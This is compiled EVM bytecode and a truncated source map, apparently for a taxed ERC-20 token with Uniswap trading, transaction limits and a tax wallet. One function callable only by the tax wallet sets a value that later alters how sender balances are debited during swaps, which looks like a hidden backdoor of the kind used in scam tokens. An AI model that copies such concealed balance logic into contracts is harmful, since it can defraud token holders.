1b6020820152610155565b34801561033b575f5ffd5b5061018a61034a36600461184c565b61066d565b34801561035a575f5ffd5b506101af600e5481565b34801561036f575f5ffd5b506101d1610679565b348015610383575f5ffd5b506101af6103923660046118e6565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c8338484610d19565b5060015b92915050565b5f546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb9061191d565b60405180910390fd5b5f600c8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020015b60405180910390a1565b5f61044d6009600a611a49565b61045b906305f5e100611a57565b905090565b60045461010090046001600160a01b0316336001600160a01b031614610484575f5ffd5b60158190554761049381610e3c565b5050565b5f6104a3848484610e77565b6104f484336104ef85604051806060016040528060288152602001611bb5602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061142a565b610d19565b5060019392505050565b60045461010090046001600160a01b0316336001600160a01b031614610522575f5ffd5b305f9081526001602052604090205480156105405761054081611462565b4780156104935761049381610e3c565b5f546001600160a01b031633146105795760405162461bcd60e51b81526004016103fb9061191d565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ea5760405162461bcd60e51b81526004016103fb9061191d565b6105f66009600a611a49565b610604906305f5e100611a57565b6010556106136009600a611a49565b610621906305f5e100611a57565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106516009600a611a49565b61065f906305f5e100611a57565b604051908152602001610436565b5f6103c8338484610e77565b5f546001600160a01b031633146106a25760405162461bcd60e51b81526004016103fb9061191d565b601354600160a01b900460ff16156106fc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fb565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b815290515f929163c45a01559160048083019260209291908290030181865afa158015610760573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107849190611a6e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108069190611a6e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa15801561084e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108729190611a6e565b6001600160a01b031603610a085760125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f49190611a6e565b6001600160a01b031663c9c6539660125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610952573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109769190611a6e565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303815f875af11580156109bf573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e39190611a6e565b601380546001600160a01b0319166001600160a01b0392909216919091179055610b8b565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a58573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7c9190611a6e565b6001600160a01b031663e6a4390560125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ada573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afe9190611a6e565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610b46573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6a9190611a6e565b601380546001600160a01b0319166001600160a01b03929092169190911790555b60135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610bdd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c019190611a89565b50601254610c2e9030906001600160a01b0316610c206009600a611a49565b6104ef906305f5e100611a57565b6012546001600160a01b031663f305d7194730610c5f816001600160a01b03165f9081526001602052604090205490565b5f5f610c725f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610cd8573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cfd9190611aa8565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6001600160a01b038316610d7b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fb565b6001600160a01b038216610ddc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fb565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6004546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610493573d5f5f3e3d5ffd5b6001600160a01b038316610edb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fb565b6001600160a01b038216610f3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fb565b5f8111610f9e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fb565b5f80546001600160a01b03858116911614801590610fc957505f546001600160a01b03848116911614155b156112ea57600d545f03611007576110046064610ffe600954600d541015610ff357600554610ff7565b6007545b85906115dc565b90611661565b90505b600d541561102c576110296064610ffe600c54856115dc90919063ffffffff16565b90505b6013546001600160a01b03858116911614801561105757506012546001600160a01b03848116911614155b801561107b57506001600160a01b0383165f9081526003602052604090205460ff16155b1561117f576010548211156110d25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fb565b601154826110f4856001600160a01b03165f9081526001602052604090205490565b6110fe9190611ad3565b111561114c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fb565b6111686064610ffe600954600d541015610ff357600554610ff7565b600d80549192505f61117983611ae6565b91905055505b6013546001600160a01b0384811691161480156111a557506001600160a01b0384163014155b156111d3576111d06064610ffe600a54600d5410156111c657600654610ff7565b60085485906115dc565b90505b305f90815260016020526040902054601354600160a81b900460ff1615801561120957506013546001600160a01b038581169116145b801561121e5750601354600160b01b900460ff165b801561122b5750600e5481115b801561123b5750600b54600d5410155b156112e85760165443111561124f575f6014555b6003601454106112a15760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016103fb565b6112be6112b9846112b484600f546116a2565b6116a2565b611462565b4780156112ce576112ce47610e3c565b60148054905f6112dd83611ae6565b909155505043601655505b505b801561136257305f9081526001602052604090205461130990826116b6565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113599085815260200190565b60405180910390a35b6017546001600160a01b0385165f908152600160205260409020546113879184611714565b6001600160a01b0385165f908152600160205260409020556113ca6113ac8383611793565b6001600160a01b0385165f90815260016020526040902054906116b6565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114138585611793565b60405190815260200160405180910390a350505050565b5f818484111561144d5760405162461bcd60e51b81526004016103fb9190611800565b505f6114598486611afe565b95945050505050565b6013805460ff60a81b1916600160a81b1790556015546017556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114ae576114ae611b11565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611505573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115299190611a6e565b8160018151811061153c5761153c611b11565b6001600160a01b0392831660209182029290920101526012546115629130911684610d19565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac9479061159a9085905f90869030904290600401611b25565b5f604051808303815f87803b1580156115b1575f5ffd5b505af11580156115c3573d5f5f3e3d5ffd5b50505f60175550506013805460ff60a81b191690555050565b5f825f036115eb57505f6103cc565b5f6115f68385611a57565b9050826116038583611b95565b1461165a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b9392505050565b5f61165a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117d4565b5f8183116116b0578261165a565b50919050565b5f806116c28385611ad3565b90508381101561165a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b5f838211156117655760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016103fb565b61178b6117728584611793565b61178685611781866064611661565b6115dc565b6116b6565b949350505050565b5f61165a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061142a565b5f81836117f45760405162461bcd60e51b81526004016103fb9190611800565b505f6114598486611b95565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611849575f5ffd5b50565b5f5f6040838503121561185d575f5ffd5b823561186881611835565b946020939093013593505050565b5f60208284031215611886575f5ffd5b5035919050565b5f5f5f6060848603121561189f575f5ffd5b83356118aa81611835565b925060208401356118ba81611835565b929592945050506040919091013590565b5f602082840312156118db575f5ffd5b813561165a81611835565b5f5f604083850312156118f7575f5ffd5b823561190281611835565b9150602083013561191281611835565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156119a15780850481111561198557611985611952565b600184161561199357908102905b60019390931c92800261196a565b935093915050565b5f826119b7575060016103cc565b816119c357505f6103cc565b81600181146119d957600281146119e3576119ff565b60019150506103cc565b60ff8411156119f4576119f4611952565b50506001821b6103cc565b5060208310610133831016604e8410600b8410161715611a22575081810a6103cc565b611a2e5f198484611966565b805f1904821115611a4157611a41611952565b029392505050565b5f61165a60ff8416836119a9565b80820281158282048414176103cc576103cc611952565b5f60208284031215611a7e575f5ffd5b815161165a81611835565b5f60208284031215611a99575f5ffd5b8151801515811461165a575f5ffd5b5f5f5f60608486031215611aba575f5ffd5b5050815160208301516040909301519094929350919050565b808201808211156103cc576103cc611952565b5f60018201611af757611af7611952565b5060010190565b818103818111156103cc576103cc611952565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611b755783516001600160a01b0316835260209384019390920191600101611b4e565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611baf57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220768c3ffef5398c35a80db1a73b56db67a6c21358f604fcfd4cc2b5027f847a0664736f6c634300081d0033
Deployed Bytecode Sourcemap
3885:8706:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5799:83;;;;;;;;;;-1:-1:-1;5869:5:0;;;;;;;;;;;;-1:-1:-1;;;5869:5:0;;;;5799:83;;;;;;;:::i;:::-;;;;;;;;6632:161;;;;;;;;;;-1:-1:-1;6632:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6632:161:0;945:187:1;4876:50:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4876:50:0;1137:177:1;11011:119:0;;;;;;;;;;;;;:::i;:::-;;6076:95;;;;;;;;;;;;;:::i;10609:227::-;;;;;;;;;;-1:-1:-1;10609:227:0;;;;;:::i;:::-;;:::i;6801:313::-;;;;;;;;;;-1:-1:-1;6801:313:0;;;;;:::i;:::-;;:::i;5985:83::-;;;;;;;;;;-1:-1:-1;5985:83:0;;4622:1;2205:36:1;;2193:2;2178:18;5985:83:0;2063:184:1;12231:355:0;;;;;;;;;;;;;:::i;6179:119::-;;;;;;;;;;-1:-1:-1;6179:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6272:18:0;6245:7;6272:18;;;:9;:18;;;;;;;6179:119;2874:148;;;;;;;;;;;;;:::i;10844:159::-;;;;;;;;;;;;;:::i;4933:47::-;;;;;;;;;;;;;;;;2660:79;;;;;;;;;;-1:-1:-1;2698:7:0;2725:6;2660:79;;-1:-1:-1;;;;;2725:6:0;;;2650:51:1;;2638:2;2623:18;2660:79:0;2504:203:1;4987:49:0;;;;;;;;;;;;;;;;5890:87;;;;;;;;;;-1:-1:-1;5962:7:0;;;;;;;;;;;;-1:-1:-1;;;5962:7:0;;;;5890:87;;6306:167;;;;;;;;;;-1:-1:-1;6306:167:0;;;;;:::i;:::-;;:::i;4813:56::-;;;;;;;;;;;;;;;;11238:948;;;;;;;;;;;;;:::i;6481:143::-;;;;;;;;;;-1:-1:-1;6481:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6589:18:0;;;6562:7;6589:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6481:143;6632:161;6707:4;6724:39;288:10;6747:7;6756:6;6724:8;:39::i;:::-;-1:-1:-1;6781:4:0;6632:161;;;;;:::o;11011:119::-;2787:6;;-1:-1:-1;;;;;2787:6:0;288:10;2787:22;2779:67;;;;-1:-1:-1;;;2779:67:0;;;;;;;:::i;:::-;;;;;;;;;11084:1:::1;11069:12;:16:::0;;;11101:21:::1;::::0;1283:25:1;;;11101:21:0::1;::::0;1271:2:1;1256:18;11101:21:0::1;;;;;;;;11011:119::o:0;6076:95::-;6129:7;4679:13;4622:1;4679:2;:13;:::i;:::-;4665:27;;:11;:27;:::i;:::-;6149:14;;6076:95;:::o;10609:227::-;10690:10;;;;;-1:-1:-1;;;;;10690:10:0;288;-1:-1:-1;;;;;10676:24:0;;10668:33;;;;;;10763:12;:22;;;10741:21;10796:32;10741:21;10796:12;:32::i;:::-;10657:179;10609:227;:::o;6801:313::-;6899:4;6916:36;6926:6;6934:9;6945:6;6916:9;:36::i;:::-;6963:121;6972:6;288:10;6994:89;7032:6;6994:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6994:19:0;;;;;;:11;:19;;;;;;;;288:10;6994:33;;;;;;;;;;:37;:89::i;:::-;6963:8;:121::i;:::-;-1:-1:-1;7102:4:0;6801:313;;;;;:::o;12231:355::-;12295:10;;;;;-1:-1:-1;;;;;12295:10:0;288;-1:-1:-1;;;;;12281:24:0;;12273:33;;;;;;12357:4;12317:21;6272:18;;;:9;:18;;;;;;12377:15;;12374:77;;12408:31;12425:13;12408:16;:31::i;:::-;12480:21;12515:12;;12512:67;;12543:24;12556:10;12543:12;:24::i;2874:148::-;2787:6;;-1:-1:-1;;;;;2787:6:0;288:10;2787:22;2779:67;;;;-1:-1:-1;;;2779:67:0;;;;;;;:::i;:::-;2981:1:::1;2965:6:::0;;2944:40:::1;::::0;-1:-1:-1;;;;;2965:6:0;;::::1;::::0;2944:40:::1;::::0;2981:1;;2944:40:::1;3012:1;2995:19:::0;;-1:-1:-1;;;;;;2995:19:0::1;::::0;;2874:148::o;10844:159::-;2787:6;;-1:-1:-1;;;;;2787:6:0;288:10;2787:22;2779:67;;;;-1:-1:-1;;;2779:67:0;;;;;;;:::i;:::-;4679:13:::1;4622:1;4679:2;:13;:::i;:::-;4665:27;::::0;:11:::1;:27;:::i;:::-;10897:12;:22:::0;4679:13:::1;4622:1;4679:2;:13;:::i;:::-;4665:27;::::0;:11:::1;:27;:::i;:::-;10930:14;:22:::0;10968:27:::1;4679:13;4622:1;4679:2;:13;:::i;:::-;4665:27;::::0;:11:::1;:27;:::i;:::-;10968;::::0;1283:25:1;;;1271:2;1256:18;10968:27:0::1;1137:177:1::0;6306:167:0;6384:4;6401:42;288:10;6425:9;6436:6;6401:9;:42::i;11238:948::-;2787:6;;-1:-1:-1;;;;;2787:6:0;288:10;2787:22;2779:67;;;;-1:-1:-1;;;2779:67:0;;;;;;;:::i;:::-;11302:11:::1;::::0;-1:-1:-1;;;11302:11:0;::::1;;;11301:12;11293:47;;;::::0;-1:-1:-1;;;11293:47:0;;5595:2:1;11293:47:0::1;::::0;::::1;5577:21:1::0;5634:2;5614:18;;;5607:30;5673:25;5653:18;;;5646:53;5716:18;;11293:47:0::1;5393:347:1::0;11293:47:0::1;11351:15;:80:::0;;-1:-1:-1;;;;;;11351:80:0::1;11388:42;11351:80:::0;;::::1;::::0;;;11464:25:::1;::::0;;-1:-1:-1;;;11464:25:0;;;;11351:15:::1;::::0;11388:42;11464:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;11388:42;11464:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11446:52:0::1;;11499:15;;;;;;;;;-1:-1:-1::0;;;;;11499:15:0::1;-1:-1:-1::0;;;;;11499:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11446:91;::::0;-1:-1:-1;;;;;;11446:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6193:32:1;;;11446:91:0::1;::::0;::::1;6175:51:1::0;11531:4:0::1;6242:18:1::0;;;6235:60;6148:18;;11446:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11446:105:0::1;::::0;11442:388:::1;;11602:15;;;;;;;;;-1:-1:-1::0;;;;;11602:15:0::1;-1:-1:-1::0;;;;;11602:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11584:55:0::1;;11640:15;;;;;;;;;-1:-1:-1::0;;;;;11640:15:0::1;-1:-1:-1::0;;;;;11640:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11584:94;::::0;-1:-1:-1;;;;;;11584:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6193:32:1;;;11584:94:0::1;::::0;::::1;6175:51:1::0;11672:4:0::1;6242:18:1::0;;;6235:60;6148:18;;11584:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11568:13;:110:::0;;-1:-1:-1;;;;;;11568:110:0::1;-1:-1:-1::0;;;;;11568:110:0;;;::::1;::::0;;;::::1;::::0;;11442:388:::1;;;11745:15;;;;;;;;;-1:-1:-1::0;;;;;11745:15:0::1;-1:-1:-1::0;;;;;11745:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11727:52:0::1;;11780:15;;;;;;;;;-1:-1:-1::0;;;;;11780:15:0::1;-1:-1:-1::0;;;;;11780:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11727:91;::::0;-1:-1:-1;;;;;;11727:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6193:32:1;;;11727:91:0::1;::::0;::::1;6175:51:1::0;11812:4:0::1;6242:18:1::0;;;6235:60;6148:18;;11727:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11711:13;:107:::0;;-1:-1:-1;;;;;;11711:107:0::1;-1:-1:-1::0;;;;;11711:107:0;;;::::1;::::0;;;::::1;::::0;;11442:388:::1;11847:13;::::0;11878:15:::1;::::0;11840:71:::1;::::0;-1:-1:-1;;;11840:71:0;;-1:-1:-1;;;;;11878:15:0;;::::1;11840:71;::::0;::::1;6480:51:1::0;-1:-1:-1;;6547:18:1;;;6540:34;11847:13:0;::::1;::::0;11840:29:::1;::::0;6453:18:1;;11840:71:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11954:15:0::1;::::0;11922:58:::1;::::0;11939:4:::1;::::0;-1:-1:-1;;;;;11954:15:0::1;4679:13;4622:1;4679:2;:13;:::i;:::-;4665:27;::::0;:11:::1;:27;:::i;11922:58::-;11991:15;::::0;-1:-1:-1;;;;;11991:15:0::1;:31;12030:21;12061:4;12067:24;12061:4:::0;-1:-1:-1;;;;;6272:18:0;6245:7;6272:18;;;:9;:18;;;;;;;6179:119;12067:24:::1;12092:1;12094;12096:7;2698::::0;2725:6;-1:-1:-1;;;;;2725:6:0;;2660:79;12096:7:::1;11991:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11991:129:0;;;-1:-1:-1;;;;;7188:32:1;;;11991:129:0::1;::::0;::::1;7170:51:1::0;7237:18;;;7230:34;;;;7280:18;;;7273:34;;;;7323:18;;;7316:34;7387:32;;;7366:19;;;7359:61;12104:15:0::1;7436:19:1::0;;;7429:35;7142:19;;11991:129:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12131:11:0::1;:18:::0;;-1:-1:-1;;;;12160:18:0;-1:-1:-1;;;12160:18:0;;;-1:-1:-1;11238:948:0:o;7122:335::-;-1:-1:-1;;;;;7215:19:0;;7207:68;;;;-1:-1:-1;;;7207:68:0;;8138:2:1;7207:68:0;;;8120:21:1;8177:2;8157:18;;;8150:30;8216:34;8196:18;;;8189:62;-1:-1:-1;;;8267:18:1;;;8260:34;8311:19;;7207:68:0;7936:400:1;7207:68:0;-1:-1:-1;;;;;7294:21:0;;7286:68;;;;-1:-1:-1;;;7286:68:0;;8543:2:1;7286:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:32;8714:19;;7286:68:0;8341:398:1;7286:68:0;-1:-1:-1;;;;;7365:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7417:32;;1283:25:1;;;7417:32:0;;1256:18:1;7417:32:0;;;;;;;7122:335;;;:::o;11138:92::-;11195:10;;:27;;:10;;;;-1:-1:-1;;;;;11195:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;7465:2412;-1:-1:-1;;;;;7553:18:0;;7545:68;;;;-1:-1:-1;;;7545:68:0;;8946:2:1;7545:68:0;;;8928:21:1;8985:2;8965:18;;;8958:30;9024:34;9004:18;;;8997:62;-1:-1:-1;;;9075:18:1;;;9068:35;9120:19;;7545:68:0;8744:401:1;7545:68:0;-1:-1:-1;;;;;7632:16:0;;7624:64;;;;-1:-1:-1;;;7624:64:0;;9352:2:1;7624:64:0;;;9334:21:1;9391:2;9371:18;;;9364:30;9430:34;9410:18;;;9403:62;-1:-1:-1;;;9481:18:1;;;9474:33;9524:19;;7624:64:0;9150:399:1;7624:64:0;7716:1;7707:6;:10;7699:64;;;;-1:-1:-1;;;7699:64:0;;9756:2:1;7699:64:0;;;9738:21:1;9795:2;9775:18;;;9768:30;9834:34;9814:18;;;9807:62;-1:-1:-1;;;9885:18:1;;;9878:39;9934:19;;7699:64:0;9554:405:1;7699:64:0;7774:17;2725:6;;-1:-1:-1;;;;;7808:15:0;;;2725:6;;7808:15;;;;:32;;-1:-1:-1;2698:7:0;2725:6;-1:-1:-1;;;;;7827:13:0;;;2725:6;;7827:13;;7808:32;7804:1707;;;7860:9;;7871:1;7860:12;7857:140;;7904:77;7977:3;7904:68;7927:15;;7916:9;;:26;;7915:56;;7957:14;;7915:56;;;7944:12;;7915:56;7904:6;;:10;:68::i;:::-;:72;;:77::i;:::-;7892:89;;7857:140;8014:9;;:11;8011:95;;8057:33;8086:3;8057:24;8068:12;;8057:6;:10;;:24;;;;:::i;:33::-;8045:45;;8011:95;8134:13;;-1:-1:-1;;;;;8126:21:0;;;8134:13;;8126:21;:55;;;;-1:-1:-1;8165:15:0;;-1:-1:-1;;;;;8151:30:0;;;8165:15;;8151:30;;8126:55;:83;;;;-1:-1:-1;;;;;;8187:22:0;;;;;;:18;:22;;;;;;;;8185:24;8126:83;8122:421;;;8249:12;;8239:6;:22;;8231:60;;;;-1:-1:-1;;;8231:60:0;;10166:2:1;8231:60:0;;;10148:21:1;10205:2;10185:18;;;10178:30;10244:27;10224:18;;;10217:55;10289:18;;8231:60:0;9964:349:1;8231:60:0;8344:14;;8334:6;8318:13;8328:2;-1:-1:-1;;;;;6272:18:0;6245:7;6272:18;;;:9;:18;;;;;;;6179:119;8318:13;:22;;;;:::i;:::-;:40;;8310:79;;;;-1:-1:-1;;;8310:79:0;;10650:2:1;8310:79:0;;;10632:21:1;10689:2;10669:18;;;10662:30;10728:28;10708:18;;;10701:56;10774:18;;8310:79:0;10448:350:1;8310:79:0;8420:77;8493:3;8420:68;8443:15;;8432:9;;:26;;8431:56;;8473:14;;8431:56;;8420:77;8516:9;:11;;8408:89;;-1:-1:-1;8516:9:0;:11;;;:::i;:::-;;;;;;8122:421;8568:13;;-1:-1:-1;;;;;8562:19:0;;;8568:13;;8562:19;:43;;;;-1:-1:-1;;;;;;8585:20:0;;8600:4;8585:20;;8562:43;8559:175;;;8638:80;8714:3;8638:71;8661:16;;8650:9;;:27;;8649:59;;8693:15;;8649:59;;;8679:13;;8638:6;;:10;:71::i;:80::-;8626:92;;8559:175;8799:4;8750:28;6272:18;;;:9;:18;;;;;;8825:6;;-1:-1:-1;;;8825:6:0;;;;8824:7;:30;;;;-1:-1:-1;8841:13:0;;-1:-1:-1;;;;;8835:19:0;;;8841:13;;8835:19;8824:30;:45;;;;-1:-1:-1;8858:11:0;;-1:-1:-1;;;8858:11:0;;;;8824:45;:89;;;;;8896:17;;8873:20;:40;8824:89;:124;;;;;8930:18;;8917:9;;:31;;8824:124;8820:680;;;8988:13;;8973:12;:28;8969:90;;;9038:1;9026:9;:13;8969:90;9097:1;9085:9;;:13;9077:49;;;;-1:-1:-1;;;9077:49:0;;11145:2:1;9077:49:0;;;11127:21:1;11184:2;11164:18;;;11157:30;11223:25;11203:18;;;11196:53;11266:18;;9077:49:0;10943:347:1;9077:49:0;9145:69;9162:51;9166:6;9174:38;9178:20;9200:11;;9174:3;:38::i;:::-;9162:3;:51::i;:::-;9145:16;:69::i;:::-;9262:21;9306:22;;9302:106;;9353:35;9366:21;9353:12;:35::i;:::-;9426:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9472:12:0;9456:13;:28;-1:-1:-1;8820:680:0;7842:1669;7804:1707;9526:11;;9523:165;;9596:4;9578:24;;;;:9;:24;;;;;;:39;;9607:9;9578:28;:39::i;:::-;9571:4;9553:24;;;;:9;:24;;;;;;;:64;;;;9637:39;;-1:-1:-1;;;;;9637:39:0;;;;;;;9666:9;1283:25:1;;1271:2;1256:18;;1137:177;9637:39:0;;;;;;;;9523:165;9734:4;;-1:-1:-1;;;;;9714:15:0;;;;;;:9;:15;;;;;;:33;;9740:6;9714:19;:33::i;:::-;-1:-1:-1;;;;;9698:15:0;;;;;;:9;:15;;;;;:49;9772:40;9790:21;:6;9801:9;9790:10;:21::i;:::-;-1:-1:-1;;;;;9772:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9758:13:0;;;;;;;:9;:13;;;;;:54;;;;9828:41;;;9847:21;:6;9858:9;9847:10;:21::i;:::-;9828:41;;1283:25:1;;;1271:2;1256:18;9828:41:0;;;;;;;7534:2343;7465:2412;;;:::o;1345:190::-;1431:7;1467:12;1459:6;;;;1451:29;;;;-1:-1:-1;;;1451:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1491:9:0;1503:5;1507:1;1503;:5;:::i;:::-;1491:17;1345:190;-1:-1:-1;;;;;1345:190:0:o;10117:484::-;10028:6;:11;;-1:-1:-1;;;;10028:11:0;-1:-1:-1;;;10028:11:0;;;:6;10045:12;10040:4;:17;10220:16:::1;::::0;;10234:1:::1;10220:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10220:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10220:16:0::1;10196:40;;10265:4;10247;10252:1;10247:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10247:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10291:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10291:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10247:7;;10291:22;;;;;:15;:22:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10281:4